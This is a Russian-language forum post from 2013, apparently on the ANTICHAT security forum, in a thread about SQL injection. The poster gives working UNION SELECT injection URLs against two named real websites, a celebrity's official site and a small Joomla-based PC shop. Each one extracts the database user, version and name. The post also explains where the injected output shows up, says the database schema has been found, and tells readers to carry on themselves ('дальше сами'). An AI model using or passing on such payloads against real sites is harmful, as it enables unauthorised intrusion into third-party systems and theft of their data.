SQL Инъекции — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

29.10.2013, 08:32

Sum.cogitans

Guest

Сообщений: n/a

Провел на форуме:
62329

Репутация: 19

Вот знаете, утро как-то сразу задалось настроение прям радостное сразу.

Официальный сайт Анфисы Чеховой:

Код:

Code:
www.achekhova.ru/img.php?id=-99+UNION+SELECT+1,2,3,group_concat(user(),0x3a,version(),0x3a,database())+--+&rub=press

P.s. Результат в сорсе смотрите, или в URL изображения.

P.p.s. Ну ловко ребята вывод ошибки скрыть попытались. Юзаем cmd+a\ctrl+a.

UPD Нарыл схему DB crawlp - URL, дальше сами, а мне работать пора .)

На закуску:

Код:

Code:
http://www.osnova-pc.ru/prosmotr_posta.php?id=-85'+UNION+SELECT+1,2,group_concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11+--+

joomla

ТИЦ\PR шлак

Траф 2.5 в неделю

Позиции в яндексе интересные: http://pr-cy.ru/a/www.osnova-pc.ru